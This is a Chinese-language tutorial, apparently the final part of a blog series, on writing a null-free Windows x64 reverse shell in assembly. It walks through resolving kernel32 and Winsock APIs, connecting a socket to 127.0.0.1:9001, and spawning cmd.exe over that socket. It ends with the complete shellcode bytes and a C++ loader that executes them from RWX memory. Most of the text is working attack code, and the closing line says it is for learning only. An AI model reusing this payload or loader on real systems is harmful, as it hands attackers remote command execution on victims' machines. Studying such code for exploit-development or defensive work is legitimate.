这是这个系列文章的第七篇，也是最后一篇，这段旅程很有趣，但我们已经到达了目的地，是时候结束我们的汇编与shellcode编程入门课程。前面几篇在这里：
我同时也将这个系列更新在cppguide.cn站点，访问地址（请复制到浏览器中访问）：
https://cppguide.cn/pages/windows-x64-shellcode-from-scratch/
今天，我们将专注于用纯x64汇编编写一个反向shell，并辅以无空字节的shellcode来结束本系列。这有点像期末考试，这是一个综合实战案例，看看你到目前为止学到了什么😃，说实话，如果今天的内容看起来有点难懂，我不会扣你的分。一个基于x64汇编的反向shell需要很多API，以及对x64汇编概念全面扎实的理解。今天的代码很长，但我特意进行了调整，让你可以轻松跟上进度，不会感到头疼。
以熟悉的x64汇编为开端
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28 ; stack alignment
and rsp, 0xFFFFFFFFFFFFFFF0 ; stack alignment
xor rcx, rcx ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi,[rax+0x10] ; PEB.Ldr->InLoadOrderModuleList
mov rsi, [rsi]
mov rsi,[rsi]
mov rbx, [rsi+0x30] ; kernel32.dll base address
mov r8, rbx ; mov kernel32.dll base addr into r8
mov ebx, [rbx+0x3C] ; Get Kernel32 PE Signature (offset 0x3C) into EBX
add rbx, r8 ; Add signature offset to kernel32 base. Store in RBX.
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff ; cx is the lower 16 bit portion of ecx (32 bit), and rcx is 64 bit.
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = kernel32.dll + RVA ExportTable = ExportTable Address
mov r10d, [rdx+0x14] ; Number of functions
xor r11, r11 ; Zero R11 before use
mov r11d, [rdx+0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VMA
mov rcx, r10 ; store number of functionsfor future use
mov rax, 0x9090737365726464 ; 'ddress'
shl rax, 0x10 ; 7373657264640000
shr rax, 0x10 ; 0000737365726464 terminate our string w/ no nulls present in our shellcode!
push rax
mov rax, 0x41636F7250746547 ; 'GetProcA '
push rax
mov rax, rsp
我得说，今天我们代码的这部分至少对你来说应该很熟悉😺。这部分改动不大，因为我们总是要遍历PE导出表来查找函数。我只多添加了一行代码，就是将GetProcAddress字符串压入栈中，以便在代码的下一部分进行函数名查找循环时引用。
函数名查找
findfunction: ; Loop over Export Address Table to find WinApi names
jecxz FunctionNameNotFound ; Loop around this function until we find WinExec
xor ebx,ebx ; Zero EBX for use
mov ebx, [r11+rcx*4] ; EBX = RVA for first AddressOfName
add rbx, r8 ; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name
dec rcx ; Decrement our loop by one, this goes from Z to A
; Load first 8 bytes of "GetProcA"
mov r9, qword [rax] ; R9 = "GetProcA"
cmp [rbx], r9 ; Compare first 8 bytes
jnz findfunction ; If not equal, continue loop
; Check next part for"ddress" (4 bytes)
mov r9d, dword [rax + 8] ; R9 = "ddress"
cmp [rbx + 8], r9d ; Compare remaining part
jz FunctionNameFound ; If match, function found
jnz findfunction
FunctionNameNotFound:
int3
FunctionNameFound:
push rcx
pop r15 ; GetProcAddress position in Function Names
inc r15
xor r11, r11
mov r11d, [rdx+0x1c] ; AddressOfFunctions RVA
add r11, r8 ; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
mov eax, [r11+r15*4] ; Get the function RVA.
add rax, r8 ; Found the GetProcAddress WinApi!!!
push rax ; push GetProcAddress temporarily to be used by next segment
我真的应该在本系列之前的帖子中把这部分解释得更清楚。不过，迟做总比不做好😆 我们在这里要做的是获取RCX（即函数数量），并递减该值，直到找到我们要找的函数：GetProcAddress。
我们在这里也耍了点小聪明。我们要找的是API名称的前8个字节。实际上，更简单的理解是，它确实就是所讨论字符串的前8个字符。所以，在这种情况下，就是GetProcA。一旦我们找到这个值，我们就会查找接下来的4个字符/字节，这里使用的是DWORD类型。那部分就是ddre。所以总的来说，我们要找的就是这个字符串：GetProcAddre，并且假设如果我们的字符串比较成功，那么我们就找到了GetProcAddress。我之所以这么做，是因为如果我进行两次QWORD比较，第二次比较会包含不属于我们字符串的数据。为什么呢？因为ddress，也就是我们这个API字符串（GetProcA）的后半部分，有6个字符，也就是6个字节。而栈是8字节的，剩下的2个字节会包含无用数据。
这对大多数函数都适用，不过，有些函数的效果并不理想，例如CreateProcess。CreateProcess可以是CreateProcessA，也可以是CreateProcessW。一个用于ASCII编码，另一个用于宽字符编码。这都无关紧要，只是想让你知道这种函数名查找方法并非完美无缺。这是一种快速简便的函数查找方法，无需使用大量代码。相信我，我们可以尽可能精简代码。
一旦找到GetProcAddress，我们就将其存储在RAX中。继续！
定位LoadLibraryA地址
; Prepare arguments for getting q handle to LoadLibraryA:
pop r15 ; temporary use
mov r12, r15 ; save copy of GetProcAddress for future use
mov rdi, r8 ; make a copy of kernel32 base address for future use
mov rcx, r8 ; RCX = handle to kernel32.dll (first argument)
; Load "LoadLibraryA" onto the stack
mov rax, 0x41797261 ; aryA, 0 (include null byte)
push rax
mov rax, 0x7262694C64616F4C ; LoadLibr
push rax
mov rdx, rsp ; RDX points to "LoadLibraryA" (second argument)
sub rsp, 0x30 ; decimal 48 ( 3 x 16 bytes)
call r15 ; Call GetProcAddress
add rsp, 0x30
mov r15, rax ; holds LoadLibraryA!
;Okay, let's make some notes on our current register values
;==========================================================
;r15 = LoadLibraryA
;rdi = Kernel32
;r12 = GetProcAddress
这部分相当简单明了。我们将kernel32作为第一个参数传入，将LoadLibraryA作为第二个参数传入GetProcAddress。
我们确实只是按照微软的文档填写这个API。
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
找到ExitProcess地址
;exitprocess
mov r9, r12 ; r9 temporarily holds GetProcAddress handle
mov rcx, rdi ; RCX = handle to kernel32.dll (first argument)
; Load "ExitProcess" onto the stack
mov rax, 0x90737365 ; 'ess'
shl eax, 0x8 ; 0000000073736500
shr eax, 0x8 ; 0000000000737365 terminate our string w/ no nulls present in our shellcode!
push rax
mov rax, 0x636F725074697845 ; ExitProc
push rax
mov rdx, rsp ; RDX points to "ExitProcess" (second argument)
sub rsp, 0x30
call r9 ; Call GetProcAddress
add rsp, 0x30
mov rbx, rax ; RBX holds ExitProcess!
开始发现规律了吗？😄 和上一次的API查询一样，只不过这次我们要找的是ExitProcess。
找到CreateProcessA的地址
;CreateProcessA
mov r9, r12 ; r9 temporarily holds GetProcAddress handle
mov rcx, rdi ; RCX = handle to kernel32.dll (first argument)
; Load "CreateProcessA" onto the stack
mov rax, 0x909041737365636F ; 'ocessA'
shl rax, 0x10 ; 0000000073736500
shr rax, 0x10 ; 0000000000737365 terminate our string w/ no nulls present in our shellcode!
push rax
mov rax, 0x7250657461657243 ; CreatePr
push rax
mov rdx, rsp ; RDX points to "CreateProcessA" (second argument)
sub rsp, 0x30
call r9 ; Call GetProcAddress
add rsp, 0x30
mov r13, rax ; r13 holds CreateProcessA!
同样的情况，哈哈。我之所以这样写代码，是为了让它尽可能容易理解。到目前为止还不算太糟，对吧？我们继续吧。
找到Ws2_32地址
;ws2_32.dll
mov rax, 0x90906C6C ; add "ll" string to RAX
shl eax, 0x10 ; 000000006C6C0000
shr eax, 0x10 ; 0000000000006C6C
push rax ; push RAX to stack
mov rax, 0x642E32335F327377 ; Add "ws2_32.d" string to RAX.
push rax ; Push RAX to stack
mov rcx, rsp ; Move a pointer to ws2_32.dll into RCX.
sub rsp, 0x30
call r15 ; Call LoadLibraryA("ws2_32.dll")
mov r14, rax ; holds ws2_32.dll address!!!
寄存器开始被填满了！有太多太多的API需要定位。现在我们开始定位套接字API了。我们大约完成了40%。继续加油干吧！
定位WSAStartup地址
; Prepare arguments for GetProcAddress to load WSAStartup using ws2_32:
mov rcx, r14 ; RCX = handle to ws2_32.dll (first argument)
mov rax, 0x90907075 ; Load "up" into RAX
shl eax, 0x10 ; 0000000041786F00
shr eax, 0x10 ; 000000000041786F
push rax
mov rax, 0x7472617453415357 ; Load "WSAStart" into RAX
push rax
mov rdx, rsp ; RDX points to "WSAStartup" (second argument)
sub rsp, 0x30
call r12 ; Call GetProcAddress
mov r15, rax ; Got WSAStartup! Let's store it
我们已经获取了WSAStartup，现在还需要再获取几个，这样我们就能终于开始使用这些新获得的部分API了。
找到WSASocketA地址
; Prepare arguments for GetProcAddress to load WSASocketA using ws2_32:
mov rcx, r14 ; RCX = handle to ws2_32.dll (first argument)
mov rax, 0x90904174 ; Load "tA" into RAX
shl eax, 0x10 ; 0000000041786F00
shr eax, 0x10 ; 000000000041786F
push rax
mov rax, 0x656B636F53415357 ; Load "WSASocke" into RAX
push rax
mov rdx, rsp ; RDX points to "WSASocketA" (second argument)
sub rsp, 0x30
call r12 ; Call GetProcAddress
mov rsi, rax ; Got WSASocketA! Let's store it
还剩一个。再说一次，还不错吧？这一切都只是重复进行API查询。有更简洁的方法可以做到这一点，比如使用函数循环等等。但在我看来，这是教授和理解如何使用x64汇编进行API查询的最简单形式。
定位WSAConnect地址
; Prepare arguments for GetProcAddress to load WSAConnect using ws2_32:
mov rcx, r14 ; RCX = handle to ws2_32.dll (first argument)
mov rax, 0x90907463 ; Load "ct" into RAX
shl eax, 0x10 ; 0000000041786F00
shr eax, 0x10 ; 000000000041786F
push rax
mov rax, 0x656E6E6F43415357 ; Load "WSAConne" into RAX
push rax
mov rdx, rsp ; RDX points to "WSAConnect" (second argument)
sub rsp, 0x30
call r12 ; Call GetProcAddress
mov rdi, rax ; Got WSAConnect! Let's store it
mov r14, r13 ; move CreateProcessA out of r13 into r14 for later use
;Update #2 - register values
;===========================
;rbx = ExitProcess
;r12 = GetProcAddress
;r14 = CreateProcessA
;r14 = ws2_32
;r15 = WSAStartup
;rsi = WSASocketA
;rdi = WSAConnect
启动WSAStartup
; Call WSAStartup
xor rcx, rcx
mov cx, 0x198 ; Defines the size of the buffer that will be allocated on the stack to hold the WSADATA structure
sub rsp, rcx ; Reserve space for lpWSDATA structure
lea rdx, [rsp] ; Assign address of lpWSAData to RDX - 2nd param
mov cx, 0x202 ; Assign 0x202 to wVersionRequired as 1st parameter
sub rsp, 0x28 ; stack alignment
call r15 ; Call WSAStartup
add rsp, 0x30 ; stack alignment
太棒了，我们要开始设置套接字了！现在，有趣的部分开始了……
另外，这是我们正在加载的API：
int WSAStartup(
[in] WORD wVersionRequired,
[out] LPWSADATA lpWSAData
);
创建一个套接字
; Create a socket
xor rcx, rcx
mov cl, 2 ; AF = 2 - 1st param
xor rdx, rdx
mov dl, 1 ; Type = 1 - 2nd param
xor r8, r8
mov r8b, 6 ; Protocol = 6 - 3rd param
xor r9, r9 ; lpProtocolInfo = 0 - fourth param
mov [rsp+0x20], r9 ; 0 = 5th param
mov [rsp+0x28], r9 ; 0 = 6th param
call rsi ; Call WSASocketA
mov r12, rax ; Save the returned socket value
add rsp, 0x30
以下是API签名：
SOCKET WSAAPI WSASocketA(
[in] int af,
[in] int type,
[in] int protocol,
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
[in] GROUP g,
[in] DWORD dwFlags
);
我想指出，这是我们的汇编与 shellcode 系列中，首次出现函数调用传入超过 4 个参数的情况。
以下是此处的内容安排：
-
第一个参数（RCX）= 2。顺便说一下，CL是RCX寄存器的低8位部分。顺序是： RCX、ECX、CX和CL。 -
第二个参数（RDX）= 1 -
第三个参数（r8）= 6。 r8b是r8寄存器中的低8位值。 -
第4个参数（r9）- 0。
第5个参数和第6个参数不会传入寄存器，而是直接进入栈，如下所示：
-
0x0 = 0 = RCX -
0x8 = 8 = RDX -
0x10 = 16 = R8 -
0x18 = 24 = R9 -
0x20 = 32 = [rsp+0x20] 我们的第5个参数，我们只需将值0传入[rsp+0x20] -
0x28 = 40 = [rsp+0x28] 我们的第6个参数，我们只需将值0传入[rsp+0x28]
将我们的套接字连接到目标的主机
; Initiate Socket Connection
mov r13, rax ; Store SOCKET handle in r13 for future needs
mov rcx, r13 ; Our socket handle as parameter 1
xor rax,rax ; rax = 0
inc rax ; rax = 1
inc rax ; rax = 2
mov [rsp], rax ; AF_INET = 2
mov ax, 0x2923 ; Port 9001
mov [rsp+2], ax ; our Port
;mov rax, 0x0100007F ; IP 127.0.0.1 (I use virtual box with port forwarding, hence the localhost addr)
mov rax, 0xFFFFFFFFFEFFFF80 ; 127.0.0.1 encoded with NOT to avoid NULLs
not rax ; decoded value
mov [rsp+4], rax ; our IP
lea rdx,[rsp] ; Save pointer to RDX
mov r8b, 0x16 ; Move 0x10 (decimal 16) to namelen
xor r9,r9
push r9 ; NULL
push r9 ; NULL
push r9 ; NULL
add rsp, 8
sub rsp, 0x60 ; This is somewhat problematic. needs to be a high value to account for the values pushed to the stack
sub rsp, 0x60 ; in short, making space on the stack for stuff to get populated after executing WSAConnect
call rdi ; Call WSAConnect
以下是WSAConnect API函数签名：
int WSAAPI WSAConnect(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS lpSQOS,
[in] LPQOS lpGQOS
);
在这里，我们要添加目标机器上监听器的IP和端口。我们还对代码做了一些巧妙处理来避免出现空值，比如对字符串/值进行取反操作等。调用这个API后，你应该能在目标机的netcat或监听代理上看到一个连接！
STARTUPINFOA、CreateProcessA和我们的命令shell（cmd.exe）+ ExitProcess
;prepare for CreateProcessA
add rsp, 0x30
mov rax, 0xFF9A879AD19B929C ; encode cmd.exe using NOT to remove NULL bytes
not rax ; decode cmd.exe
push rax
mov rcx, rsp ; RCX = lpApplicationName (cmd.exe)
; STARTUPINFOA Structure (I despise this thing)
; https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
push r13 ; Push STDERROR
push r13 ; Push STDOUTPUT
push r13 ; Push STDINPUT
xor rax,rax
push rax ; 8 bytes -> push lpReserved2
push rax ; 8 bytes -> combine cbReserved2 and wShowWindow
push ax ; dwFlags 4 bytes total, first 2 bytes
mov al, 0x1 ; STARTF_USESTDHANDLES
shl eax, 0x8 ; = 0x100 and removes NULL bytes!
push ax ; continuation of the above, last 2 bytes for dwFlags
xor rax,rax
push rax ; dwFillAttribute (4 bytes) + dwYCountChars (4 bytes)
push rax ; dwXCountChars (4 bytes) + dwYSize (4 bytes)
push rax ; dwXSize (4 bytes) + dwY (4 bytes)
push ax ; dwX 4 bytes total, first 2 bytes
push ax ; dwX last 2 bytes
push rax ; 8 bytes -> lpTitle
push rax ; 8 bytes -> lpDesktop = NULL
push rax ; 8 bytes -> lpReserved = NULL
mov al, 0x68 ; total size of structure. Move it into AL to avoid NULLs
push rax
mov rdi,rsp ; Copy the pointer to the structure to RDI
; Call CreateProcessA
mov rax, rsp ; Get current stack pointer
sub ax, 0x4FF ; Setup space on the stack for holding process info
dec ax ; we're subtracting 0x500 in total but we do it this way to avoid nulls
push rax ; ProcessInfo
push rdi ; StartupInfo -> Pointer to STARTUPINFOA
xor rax, rax
push rax ; lpCurrentDirectory
push rax ; lpEnvironment
push rax
inc rax
push rax ; bInheritHandles -> 1
xor rax, rax
push rax ; hStdInput = NULL
push rax ; hStdOutput = NULL
push rax ; hStdError = NULL
push rax ; dwCreationFlags
mov r8, rax ; lpThreadAttributes
mov r9, rax ; lpProcessAttributes
mov rdx, rcx ; lpCommandLine = "cmd.exe"
mov rcx, rax ; lpApplicationName
call r14 ; Call CreateProcessA
; Clean exit
xor rcx, rcx ; move 0 into RCX = 1st parameter
call rbx ; Call ExitProcess
这段代码确实有点让人望而生畏，对吧？我自己花了好久才弄明白。我们先从API开始吧：
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
我在上一篇文章中已经介绍过STARTUPINFOA，所以今天就不再详细赘述了。至于CreateProcessA，我已尽量在各处添加注释，这样你就能了解我们是如何将值传入所需参数并将它们压入栈中的。
好的，让我们编译这个庞然大物，获取我们的shellcode代码，然后得到一个反向shell。
nasm -fwin64 asmsock2.asm NASM-fwin64 asmsocket k2. asm
for i in $(objdump -D asmsock2.obj | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
将生成的shellcode包含到我们的C++程序中。是的，我知道它很大。记住，这只是为了学习目的。
如果我决定开设一门高级x64汇编课程，总有一天我会通过更多的函数查找循环来精简这段shellcode。不过目前我没那么多精力去做啦，哈哈！
#include <windows.h>
#include <iostream>
// Shellcode (as given, formatted for clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b"
"\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48"
"\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1"
"\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72"
"\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c"
"\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb"
"\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1"
"\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff"
"\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe1\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50"
"\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x48"
"\x89\xc3\x4d\x89\xe1\x48\x89\xf9\x48\xb8\x6f\x63\x65\x73\x73\x41\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10"
"\x50\x48\xb8\x43\x72\x65\x61\x74\x65\x50\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30"
"\x49\x89\xc5\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x50"
"\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x49\x89\xc6\x4c\x89\xf1\xb8\x75\x70\x90\x90\xc1\xe0\x10\xc1\xe8"
"\x10\x50\x48\xb8\x57\x53\x41\x53\x74\x61\x72\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7"
"\x4c\x89\xf1\xb8\x74\x41\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x6f\x63\x6b\x65\x50"
"\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x89\xc6\x4c\x89\xf1\xb8\x63\x74\x90\x90\xc1\xe0\x10\xc1\xe8"
"\x10\x50\x48\xb8\x57\x53\x41\x43\x6f\x6e\x6e\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x89\xc7"
"\x4d\x89\xee\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x28\x41"
"\xff\xd7\x48\x83\xc4\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0\x06\x4d\x31\xc9\x4c"
"\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd6\x49\x89\xc4\x48\x83\xc4\x30\x49\x89\xc5\x4c\x89\xe9\x48\x31"
"\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\x04\x24\x66\xb8\x23\x29\x66\x89\x44\x24\x02\x48\xc7\xc0\x80\xff\xff"
"\xfe\x48\xf7\xd0\x48\x89\x44\x24\x04\x48\x8d\x14\x24\x41\xb0\x16\x4d\x31\xc9\x41\x51\x41\x51\x41\x51\x48"
"\x83\xc4\x08\x48\x83\xec\x60\x48\x83\xec\x60\xff\xd7\x48\x83\xc4\x30\x48\xb8\x9c\x92\x9b\xd1\x9a\x87\x9a"
"\xff\x48\xf7\xd0\x50\x48\x89\xe1\x41\x55\x41\x55\x41\x55\x48\x31\xc0\x50\x50\x66\x50\xb0\x01\xc1\xe0\x08"
"\x66\x50\x48\x31\xc0\x50\x50\x50\x66\x50\x66\x50\x50\x50\x50\xb0\x68\x50\x48\x89\xe7\x48\x89\xe0\x66\x2d"
"\xff\x04\x66\xff\xc8\x50\x57\x48\x31\xc0\x50\x50\x50\x48\xff\xc0\x50\x48\x31\xc0\x50\x50\x50\x50\x49\x89"
"\xc0\x49\x89\xc1\x48\x89\xca\x48\x89\xc1\x41\xff\xd6\x48\x31\xc9\xff\xd3";
int main() {
// Allocate executable memory
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
std::cerr << "Memory allocation failed\n";
return -1;
}
// Copy shellcode to the allocated memory
memcpy(exec_mem, shellcode, sizeof(shellcode));
// Create a function pointer to the shellcode
auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
// Execute the shellcode
shellcode_func();
// Free the allocated memory
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
运行它：
各位，就这样啦！如果你们读到了这里，并且也阅读了这个系列的其他文章，那真是太棒了，干得好！如果你们想了解比这个系列中我所涵盖的更多内容，我很乐意听取你们的想法。
感谢大家关注我的《x64汇编与shellcode入门教程》系列。
声明
本文介绍的内容纯作为编程技术交流，不得用于任何非法用途，否则后果自负，与本号无关。
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